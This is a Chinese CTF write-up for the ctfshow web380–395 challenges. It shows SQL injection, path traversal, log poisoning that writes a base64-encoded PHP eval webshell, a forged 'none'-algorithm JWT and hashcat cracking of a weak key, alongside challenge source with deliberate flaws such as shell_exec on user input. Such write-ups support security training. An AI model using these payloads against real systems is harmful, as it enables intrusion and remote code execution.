Practice - CTFSHOW WEB入门 黑盒测试篇

web380

扫描器没扫出东西,看视频提示 page.php 文件包含,居然是脑洞出来的

page.php
1
2
3
4
5
6
7
8
9
10
<?php

#error_reporting(0);
$id = $_GET['id'];
if(!isset($id)){
die('打开$id.php失败');
}else{
$html = file_get_contents($id.'.php');
echo $html;
}

代码执行也没有,还要脑洞 flag 在 flag.php
索然无味

web381

道理题。。。要注意 css 的目录

/alsckdfy/
1
这就是后台地址,给你ctfshow{2a930d19-ac4f-4a0f-9de5-ff11cafe2a8d}

smjb

web382-383

上题的后台地址,是个登录,随便测了几个 sql 注入突然就爆 flag 了,什么鬼

raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /alsckdfy/check.php HTTP/1.1
Host: e78525a7-8691-4ed9-b923-521a31232c01.challenge.ctf.show
Content-Length: 43
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e78525a7-8691-4ed9-b923-521a31232c01.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e78525a7-8691-4ed9-b923-521a31232c01.challenge.ctf.show/alsckdfy/check.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17eca237f064ad-05ba9f2afdfcf8-f791539-144000-17eca237f0779c; __e_inc=1
Connection: close

p=aaaaa&u=aaaa%27+union+select+1%2C2%2C3%23

web384

提示说

密码前2位是小写字母,后三位是数字

于是我们生成字典

1
2
3
4
5
6
7
8
9
$ crunch 5 5 -t @@%%% -o wordlist.txt
Crunch will now generate the following amount of data: 4056000 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 676000

crunch: 100% completed generating output

这么多,做这道题的时候 ctf。show 已经限制了高并发请求,10 并发都会 503 全爆破时间成本不值得,于是直接看视频可知爆破结果是 xy123
这里前两题由于不是弱密码做的,并不知道用户名是 admin,还应该算个脑洞吧

web385-386

目录穿越,二次安装密码重置
/page.php?id=../../../../../../../../var/www/html/page

page.php
1
2
3
4
5
6
7
8
9
10
<?php

error_reporting(0);
$id = $_GET['id'];
if(!isset($id)){
die('打开page_$id.php失败');
}else{
$html = file_get_contents('page_'.$id.'.php');
echo $html;
}

/page.php?id=../../../../../../../../var/www/html/install/index

install/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

error_reporting(0);
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow";
$charName = "utf-8";
echo '请务必在安装成功后删除本文件';
echo '<br>需要重新安装请访问install/?install,管理员密码将重置为默认密码';
if(isset($_GET['install'])){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$sql = "update admin_user set username='admin',password='admin888' where username='admin';";
$result = $conn->query($sql);
echo '<br>安装成功,请立即删除本文件';

}

/page.php?id=../../../../../../../../var/www/html/alsckdfy/check

alsckdfy/check.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

error_reporting(0);
require_once "config.php";
$flag='ctfshow{00335eef-0a54-4767-81c0-0a0961038993}';
$u=$_POST['u'];
$p=$_POST['p'];
if(isset($u) && isset($p)){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");
$num = 1;
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>$num,
"data"=>array()
);
if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){
die('error');
}
if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){
die('error');
}
$sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';";
$result = $conn->query($sql);


if($row = $result->fetch_object()){
echo $flag;
}else{
echo 'error';
}
}else{
die('error');
}
?>

web387

先扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ python dirsearch.py -u http://c1f0db80-cdab-45d3-8797-ecdc7514af31.challenge.ctf.show/ -e php -t 5

_|. _ _ _ _ _ _|_ v0.4.0
(_||| _) (/_(_|| (_| )

Extensions: php | HTTP method: GET | Threads: 5 | Wordlist size: 7085

Error Log: F:\tools\dirsearch\logs\errors-22-06-27_15-44-27.log

Target: http://c1f0db80-cdab-45d3-8797-ecdc7514af31.challenge.ctf.show/

Output File: F:\tools\dirsearch\reports\c1f0db80-cdab-45d3-8797-ecdc7514af31.challenge.ctf.show\_22-06-27_15-44-28.txt

[15:44:28] Starting:
[15:44:30] 200 - 12KB - /php
[15:51:30] 200 - 12KB - /adminphp
[15:57:10] 301 - 169B - /debug -> http://c1f0db80-cdab-45d3-8797-ecdc7514af31.challenge.ctf.show/debug/
[15:57:12] 200 - 14B - /debug/
[15:59:25] 200 - 12KB - /index.php
[15:59:36] 301 - 169B - /install -> http://c1f0db80-cdab-45d3-8797-ecdc7514af31.challenge.ctf.show/install/
[15:59:40] 200 - 59B - /install/
[16:01:35] 200 - 12KB - /myadminphp
[16:02:14] 200 - 24B - /page.php
[16:04:14] 200 - 15B - /robots.txt

Task Completed

robots.txt 指向 /debug,/debug?file= 文件包含写 shell

raw
1
2
3
4
5
6
7
8
9
10
GET /debug/?file=/var/log/nginx/access.log HTTP/1.1
Host: 613bb736-8aa4-42e6-9623-b38f4038e838.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: <?php file_put_contents(base64_decode('L3Zhci93d3cvaHRtbC9zaGwucGhw'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4g')) ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17eca237f064ad-05ba9f2afdfcf8-f791539-144000-17eca237f0779c; __e_inc=1
Connection: close

getshell 之后看源码

/debug/index.php
1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
if(isset($_GET['file'])){
$html = shell_exec('php -f '.$_GET['file']);
echo $html;
}else{
echo 'file not exist';
}

怪不得这里直接把 shell 写到日志是拿不到 $_POST 的

web388

上题的 payload 通杀,这里没输出并不影响执行写 shell

/debug/index.php
1
2
3
4
5
6
7
8
9
10
<?php

error_reporting(0);
if(isset($_GET['file'])){
$html = shell_exec('php -f '.$_GET['file']);
echo '调试结果已写入日志';
}else{
echo 'file not exist';
}

web389-395

打上题 payload 提示权限不足,cookie 多了一个 jwt,可以 none 绕过

payload.json
1
2
3
4
5
6
7
{"alg":"none","typ":"JWT"}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
{"iss":"admin","iat":1656478102,"exp":1656485302,"nbf":1656478102,"sub":"admin","jti":"61840705ebb1ad9d47f874d9104773db"}
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NjQ3ODEwMiwiZXhwIjoxNjU2NDg1MzAyLCJuYmYiOjE2NTY0NzgxMDIsInN1YiI6ImFkbWluIiwianRpIjoiNjE4NDA3MDVlYmIxYWQ5ZDQ3Zjg3NGQ5MTA0NzczZGIifQ

payload:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NjQ3ODEwMiwiZXhwIjoxNjU2NDg1MzAyLCJuYmYiOjE2NTY0NzgxMDIsInN1YiI6ImFkbWluIiwianRpIjoiNjE4NDA3MDVlYmIxYWQ5ZDQ3Zjg3NGQ5MTA0NzczZGIifQ.

写 shell

raw
1
2
3
4
5
6
7
8
9
10
11
GET /debug/?file=/var/log/nginx/access.log HTTP/1.1
Host: f2ff88d8-9cbb-4a28-9c14-34e508c8791c.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <?php file_put_contents(base64_decode('L3Zhci93d3cvaHRtbC9zaGwucGhw'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4g')) ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17eca237f064ad-05ba9f2afdfcf8-f791539-144000-17eca237f0779c; auth=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NjQ3ODEwMiwiZXhwIjoxNjU2NDg1MzAyLCJuYmYiOjE2NTY0NzgxMDIsInN1YiI6ImFkbWluIiwianRpIjoiNjE4NDA3MDVlYmIxYWQ5ZDQ3Zjg3NGQ5MTA0NzczZGIifQ.
Connection: close

可以看到对这里的改动

/debug/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
include('jwt.php');
$auth = $_COOKIE['auth'];
if(isset($auth)){
$getPayload_test=Jwt::verifyToken($auth);
if(isset($getPayload_test) && $getPayload_test['sub']==='admin'){
if(isset($_GET['file'])){
$html = shell_exec('php -f '.$_GET['file']);
echo '已写入日志';
}else{
echo 'file not exist';
}
}else{
echo '权限不足';
}
}
/debug/jwt.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<?php
/**
* PHP实现jwt
*/
class Jwt {

//头部
private static $header=array(
'alg'=>'HS256', //生成signature的算法
'typ'=>'JWT' //类型
);

//使用HMAC生成信息摘要时所使用的密钥
private static $key='123456';


/**
* 获取不加密的token
*
**/

public static function getNullToken(array $payload){
$base64header=self::base64UrlEncode(json_encode(array("alg"=>"None","typ"=>"jwt")));
$base64payload=self::base64UrlEncode(json_encode(array($payload)));
return $base64header.'.'.$base64payload;
}
/**
* 获取jwt token
* @param array $payload jwt载荷 格式如下非必须
* [
* 'iss'=>'jwt_admin', //该JWT的签发者
* 'iat'=>time(), //签发时间
* 'exp'=>time()+7200, //过期时间
* 'nbf'=>time()+60, //该时间之前不接收处理该Token
* 'sub'=>'www.admin.com', //面向的用户
* 'jti'=>md5(uniqid('JWT').time()) //该Token唯一标识
* ]
* @return bool|string
*/
public static function getToken(array $payload)
{
if(is_array($payload))
{
$base64header=self::base64UrlEncode(json_encode(self::$header,JSON_UNESCAPED_UNICODE));
$base64payload=self::base64UrlEncode(json_encode($payload,JSON_UNESCAPED_UNICODE));
$token=$base64header.'.'.$base64payload.'.'.self::signature($base64header.'.'.$base64payload,self::$key,self::$header['alg']);
return $token;
}else{
return false;
}
}

public static function verifyNullToken(string $Token){
$tokens = explode('.', $Token);
if (count($tokens) != 2)
return false;
list($base64header, $base64payload) = $tokens;
$base64decodeheader = json_decode(self::base64UrlDecode($base64header), JSON_OBJECT_AS_ARRAY);
if (empty($base64decodeheader['alg']))
return false;
$payload = json_decode(self::base64UrlDecode($base64payload), JSON_OBJECT_AS_ARRAY);
if($payload==null)
return false;
return $payload;

}


/**
* 验证token是否有效,默认验证exp,nbf,iat时间
* @param string $Token 需要验证的token
* @return bool|string
*/
public static function verifyToken(string $Token)
{
$tokens = explode('.', $Token);
if (count($tokens) != 3)
return false;

list($base64header, $base64payload, $sign) = $tokens;

//获取jwt算法
$base64decodeheader = json_decode(self::base64UrlDecode($base64header), JSON_OBJECT_AS_ARRAY);
if (empty($base64decodeheader['alg']))
return false;

//签名验证
if (self::signature($base64header . '.' . $base64payload, self::$key, $base64decodeheader['alg']) !== $sign)
return false;

$payload = json_decode(self::base64UrlDecode($base64payload), JSON_OBJECT_AS_ARRAY);

//签发时间大于当前服务器时间验证失败
if (isset($payload['iat']) && $payload['iat'] > time())
return false;

//过期时间小宇当前服务器时间验证失败
if (isset($payload['exp']) && $payload['exp'] < time())
return false;

//该nbf时间之前不接收处理该Token
if (isset($payload['nbf']) && $payload['nbf'] > time())
return false;

return $payload;
}




/**
* base64UrlEncode https://jwt.io/ 中base64UrlEncode编码实现
* @param string $input 需要编码的字符串
* @return string
*/
private static function base64UrlEncode(string $input)
{
return str_replace('=', '', strtr(base64_encode($input), '+/', '-_'));
}

/**
* base64UrlEncode https://jwt.io/ 中base64UrlEncode解码实现
* @param string $input 需要解码的字符串
* @return bool|string
*/
private static function base64UrlDecode(string $input)
{
$remainder = strlen($input) % 4;
if ($remainder) {
$addlen = 4 - $remainder;
$input .= str_repeat('=', $addlen);
}
return base64_decode(strtr($input, '-_', '+/'));
}

/**
* HMACSHA256签名 https://jwt.io/ 中HMACSHA256签名实现
* @param string $input 为base64UrlEncode(header).".".base64UrlEncode(payload)
* @param string $key
* @param string $alg 算法方式
* @return mixed
*/
private static function signature(string $input, string $key, string $alg = 'HS256')
{
$alg_config=array(
'HS256'=>'sha256'
);
return self::base64UrlEncode(hash_hmac($alg_config[$alg], $input, $key,true));
}
}

这里 123456 也是弱口令,可以爆破出来

input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS F:\tools\hashcat-6.2.5> .\hashcat.exe F:\test\ctfshow\web389\jwts.txt -m 16500 -a 3

......

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG...FCbGO4
Time.Started.....: Wed Jun 29 13:52:12 2022 (0 secs)
Time.Estimated...: Wed Jun 29 13:52:12 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2 [6]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 6/15 (40.00%)
Speed.#1.........: 319.5 MH/s (10.59ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Speed.#3.........: 53287.8 kH/s (6.64ms) @ Accel:32 Loops:8 Thr:256 Vec:1
Speed.#*.........: 372.8 MH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4456448/3748902912 (0.12%)
Rejected.........: 0/4456448 (0.00%)
Restore.Point....: 0/1679616 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-128 Iteration:0-128
Restore.Sub.#3...: Salt:0 Amplifier:8-16 Iteration:0-8
Candidate.Engine.: Device Generator
Candidates.#1....: sanier -> co1fna
Candidates.#3....: locgce -> hahsit
Hardware.Mon.#1..: Temp: 74c Util: 88% Core:1928MHz Mem:7143MHz Bus:8
Hardware.Mon.#3..: Util: 42% Core: 400MHz Mem:1600MHz Bus:16

Started: Wed Jun 29 13:52:03 2022
Stopped: Wed Jun 29 13:52:14 2022
PS F:\tools\hashcat-6.2.5> .\hashcat.exe F:\test\ctfshow\web389\jwts.txt -m 16500 -a 3 --show
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NjQ3OTgyMywiZXhwIjoxNjU2NDg3MDIzLCJuYmYiOjE2NTY0Nzk4MjMsInN1YiI I6InVzZXIiLCJqdGkiOiIzM2I0YTY2OGU5MTkyNGMwNTA4YjM1ZmQyNWZkMGJhNSJ9.ZzjuyloP4QbTNjW1GA6VG_W0-r9MdlF_UwU8XFCbGO4:123456

390-393:
后面怎么一直 none 通杀额,原来是要考 sql 注入了吗。。。
394:
/flag 又没了,flag 又跑 check.php 去了
395:
这题还是可以 none 额,看了下其他师傅的 wp,原来还有堆叠和 redis 可以打,这算非预期吗。。。